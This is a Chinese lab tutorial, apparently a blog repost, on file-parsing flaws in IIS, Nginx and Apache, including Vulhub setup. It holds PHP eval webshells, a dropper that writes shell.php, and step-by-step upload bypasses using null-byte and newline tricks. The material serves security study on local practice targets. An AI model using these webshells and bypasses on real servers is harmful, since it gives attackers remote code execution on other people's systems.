首页 > 其他分享 >中间件解析漏洞(附环境搭建教程)

中间件解析漏洞(附环境搭建教程)

时间:2024-09-05 21:24:57浏览次数:10  
标签:教程 解析 后缀 中间件 jpg 漏洞 asp php

⼀:IIS解析漏洞

环境资源:

https://download.csdn.net/download/Nai_zui_jiang/89717504

环境安装

windows2003+iis6 1.创建新的虚拟机 2.在下⼀步中选择我们的iso⽂件镜像 vm已主动识别到windows2003 3.产品密钥⽹上搜⼀个 密码自己设置一个简单的,这里我用的是root 4.后⾯⼀直下⼀步 ⾃动安装 5.等待⼏分钟即可安装成功 6.接下来安装iis 控制⾯板--添加或删除程序---添加/删除windows组件 7.安装完成后web服务扩展全部打开 8.⽹站路径默认为 c:/inetpub/wwwroot

1.1:IIS6.X

⽬录解析

在iis6.x中,.asp⽂件夹中的任意⽂件都会被当做asp⽂件去执⾏。 1.在iis的⽹站根⽬录新建⼀个名为x.asp的⽂件 2.在x.asp中新建⼀个jpg⽂件。内容为<%=now()%> asp代码。 在外部浏览器访问虚拟机 iis⽹站中的1.jpg 发现asp代码被执⾏ 将1.jpg⽂件放到⽹站根⽬录下访问,发现其中的asp代码没有被解析。 由此可⻅.asp⽂件夹中的任意 ⽂件会被当做asp⽂件去执⾏

畸形⽂件解析

        在IIS 6 处理⽂件解析时, 分号可以起到截断的效果。也就是说 shell.asp;.jpg会被服务器看成是 shell.asp。另外IIS6.0默认的可执⾏⽂件除了asp还包含 asa\cer\cdx

1.2:IIS7.X

在IIS7.0和IIS7.5版本下也存在解析漏洞,在默认Fast-CGI开启状况下,在⼀个⽂件路径/xx.jpg 后⾯加上/xx.php会将 /xx.jpg/xx.php 解析为 php ⽂件 。

利⽤条件:

1. php.ini⾥的cgi.fix_pathinfo=1 开启 2. IIS7在Fast-CGI运⾏模式下

环境配置

在本机安装IIS后在安装PHPstudy for IIS 步骤⼆:配置 php.ini ⽂件,将 cgi.fix_pathinfo=1 取消掉...并重启....

步骤三:IIS -> 配置⽹站 -> 处理程序映射 -> PHPStudy_FastCGI -> 请求限制 ->取消勾选

利用姿势

直接进行访问不会进行php解析

在url后面加上 .php 后jpg内的php语句被解析出来

GetShell

步骤⼀:将PHP⼀句话⽊⻢写到shell.php并更改后缀为shell.jpg上传到⽬标站点...利⽤解析漏洞进⾏访问
http://localhost/shell.jpg/.php
然后复制url使用菜刀进行连接

⼆:Nginx解析漏洞

2.1:nginx_parsing

这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置⽂件中有⼀个关键的选项cgi.fix_pathinfo默认是开 启的,当URL中有不存在的⽂件,PHP就会向前递归解析。在⼀个⽂件/xx.jpg后⾯加上/.php会将 /x x.jpg/xx.php 解析为 php ⽂件。

利用条件

Nginx <=0.8.37 cgi.fix_pathinfo=1

利用姿势

Nginx的⽂件解析漏洞...和IIS7.0的解析漏洞同样的原理,因为 cgi.fix_pathinfo=1 造成的解析漏洞 同样使⽤ 1.jpg/.php ⽅式进⾏绕过 步骤⼀:进⼊以下Vulhub路径并开启容器
cd /nginx/nginx_parsing_vulnerability docker-compose build docker-compose up -d docker ps -a
步骤⼆:浏览器中访问⽹站 步骤三:制作图⽚⻢并进⾏上传...获取上传⽂件地址 步骤四:访问以下路径,利⽤Nginx解析漏洞

2.2:CVE-2013-4547

此漏洞为⽂件名逻辑漏洞,该漏洞在上传图⽚时,修改其16进制编码可使其绕过策略,导致解析为 php。 当Nginx得到⼀个⽤户请求时,⾸先对url进⾏解析,进⾏正则匹配,如果匹配到以.php后缀结尾的⽂件名,会将请求的PHP⽂件交给PHP-CGI去解析。

影响版本

Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

利⽤姿势

步骤⼀:使⽤以下命令启动靶机并通过浏览器访问靶场⻚⾯
# 启动靶场 cd vulhub-master/nginx/CVE-2013-4547x // 切换到靶机⽬录 docker-compose build // 创建环境 docker-compose up -d // 打开环境 # 靶场⻚⾯ http://172.16.1.30:8080/ #shell.php <?php @eval($_POST['cmd']);?>

步骤⼆:直接上传 shell.php 被拦截...修改⽂件后缀为.jpg进⾏上传且在后⾯添加空格;上传成功

步骤三:在.jpg后⾯添加两个空格并给上 .php 后缀,在16进制修改中将原本两个空格的 0x20 0x20 修改为如下即 0x20 0x00 进⾏发包 步骤四:访问上传后的⽂件....由于url会将其编码,需要继续抓包修改 0x20 0x20 为 0x20 0x00 http://172.16.1.30:8080/uploadfiles/shell.jpg .php 由于⽊⻢地址编码问题,⼯具连不到 可以使⽤以下的php代码输出⼀句话⽊⻢到当前⽬录 <?php fputs(fopen( "shell.php","w" ), '<?php eval($_POST["cmd"]);?>' )?>

三:Apache解析漏洞

在Apache1.x/2.x中Apache 解析⽂件的规则是从右到左开始判断解析,如果后缀名为不可识别⽂件解析, 就再往左判断。如 1.php.xxxxx

3.1:apache_parsing

漏洞原理

Apache HTTPD ⽀持⼀个⽂件拥有多个后缀,并为不同后缀执⾏不同的指令。⽐如如下配置⽂件

AddType text/html .html AddLanguage zh-CN .cn
其给 .html 后缀增加了 media-type ,值为 text/html ;给 .cn 后缀增加了语⾔,值为 zh-C N 。此时,如果⽤户请求⽂件 index.cn.html ,他将返回⼀个中⽂的html⻚⾯。以上就是Apache多 后缀的特性。如果运维⼈员给 .php 后缀增加了处理器
AddHandler application/x-httpd-php .php
那么,在有多个后缀的情况下,只要⼀个⽂件含有 .php 后缀的⽂件即将被识别成PHP⽂件,没必要是最后⼀个后缀。利⽤这个特性,将会造成⼀个可以绕过上传⽩名单的解析漏洞

利⽤姿势

步骤⼀:进⼊Vulhub靶场并执⾏以下命令启动靶场
cd /vulhub/httpd/apache_parsing_vulnerability docker-compose up -d docker ps -a

步骤⼆:访问靶机并上传 shell.php.jpg ⽂件,⽂件内容为

<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>')?>

 步骤三:上传成功后与⽹站进⾏路径拼接...如下

http://172.16.1.30/uploadfiles/shell.php.jpg

 步骤四:访问⽣成的shell.php并执⾏命令,执⾏成功。

3.2:CVE-2017-15715

Apache HTTPD是⼀款HTTP服务器,它可以通过mod_php来运⾏PHP⽹⻚。其2.4.0~2.4.29版本中存在⼀个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进⾏解析,导致绕过⼀些服务器安全策略。

影响版本

2.4.0~2.4.29

利⽤姿势

进⼊Vulhub靶场并开启⽬标靶机

cd/Vulnhub/httpd/CVE-2017-15715

docker-compose up -d 尝试发送一句话木马发现被拦截 在evil.php⽂件后⾯添加空格 0x20 在改为 0x0a 再次返送即可上传成功 访问上传的evil⽂件在后⾯加上 %0a 再访问发现解析了其中的PHP代码,但后缀不是php说明 存在解析漏洞
http://172.16.1.30:8080/evil.php%0a

标签:教程,解析,后缀,中间件,jpg,漏洞,asp,php
From: https://blog.csdn.net/Nai_zui_jiang/article/details/141937678

相关文章

  • 基于springboot的宿舍管理系统的设计与实现 (含源码+sql+视频导入教程)
    ......
  • QT教程:start()和startTimer()的区别
    start()-QTimer类的成员函数        start()是QTimer类的成员函数,用于启动一个基于QTimer对象的定时器。QTimer是Qt中常用的定时器类,它会在设定的时间间隔后发出timeout()信号。用法QTimertimer;timer.start(1000);//每隔1000毫秒触发一次time......
  • 中间件解析漏洞
    ⼀:IIS解析漏洞1.1:IIS6.X在iis6.x中,.asp⽂件夹中的任意⽂件都会被当做asp⽂件去执⾏。1.在iis的⽹站根⽬录新建⼀个名为x.asp的⽂件,在x.asp中新建⼀个jpg⽂件。内容为<%=now()%>asp代码2.在外部浏览器中访问windows2003的iis⽹站中的2.jpg发现asp代码被执行......
  • 中间件解析漏洞
    1、IIS1.iis6.x(1)在iis的网站根目录新建一个x.asp文件(2)在x.asp中新建⼀个jpg⽂件。内容为asp代码。(3)在外部浏览器中访问windows2003的iis⽹站中的2.jpg发现asp代码被执⾏(4)将2.jpg⽂件放到⽹站根⽬录下访问,发现其中的asp代码没有被解析。由此可⻅.asp⽂件夹中的任意......
  • 【SD教程】Stable Diffusion 拒绝一眼AI,超写实图片如何制作?全网最详细教程(附模型),手把
    前言用过StableDiffusion生成图片的小伙伴可能会发现,很多时候我们一眼就能看出图片就是AI生成的。那有什么办法可以让生成的图片更加写实呢?话不多说,我们先来看看效果:生成效果(图片由AI生成,请谨慎甄别)左图是处理前,右图是处理后,写实效果提升了不少,细节也提升了不少,那么......
  • Maven超详细教程(二):Maven 生命周期管理详解
    Maven作为Java开发者广泛使用的项目管理工具,其核心特性之一就是其强大的生命周期管理。Maven生命周期定义了一系列有序的阶段(phases),每个阶段都可以绑定特定的插件(plugins)和目标(goals),以实现项目的构建、测试、打包、部署等任务。本文将详细梳理Maven的主要生命周期、各个......
  • Elasticsearch 集群 和 Kibana:最新版 8.15.0 手动安装教程
    1.前言Elasticsearch和Kibana是ElasticStack的核心组件,分别扮演着数据存储与检索、分析和数据可视化的角色。‌1.1Elasticsearch‌简介Elasticsearch‌是一个基于JSON的分布式搜索和分析引擎,它提供了一个分布式、多租户能力的全文搜索引擎,具有HTTP网络接口和无模式......
  • Ansible教程
    1.安装ansible在有安装python情况下:pipinstallansible或者指定版本:pipinstallansible==2.7.2没有安装python情况下:ubuntu:aptinstallansiblecentos:yuminstallansible-y2.查看ansible版本及配置文件ansible--version 3.修改ansible配置cd/optnanoansibl......
  • lxml官方入门教程(The lxml.etree Tutorial)翻译
    lxml官方入门教程(Thelxml.etreeTutorial)翻译说明:首次发表日期:2024-09-05官方教程链接:https://lxml.de/tutorial.html使用KIMI和豆包机翻水平有限,如有错误请不吝指出这是一个关于使用lxml.etree处理XML的教程。它简要概述了ElementTreeAPI的主要概念,以及一些简单的增强......
  • Python详细安装教程:基于Windows系统(配有图文)
    1.在官网上安装你想安装的版本 官网地址:https://www.python.org/点击选择Windows(笔者的电脑的是windows11)如果你的电脑是win7或XP系统,则需要下载老一点的版本。这里是最新版本的稳定版本,你可以选择下载,也可以选择下载老一点的版本。点击DowdloadWindowsinstaller(64-b......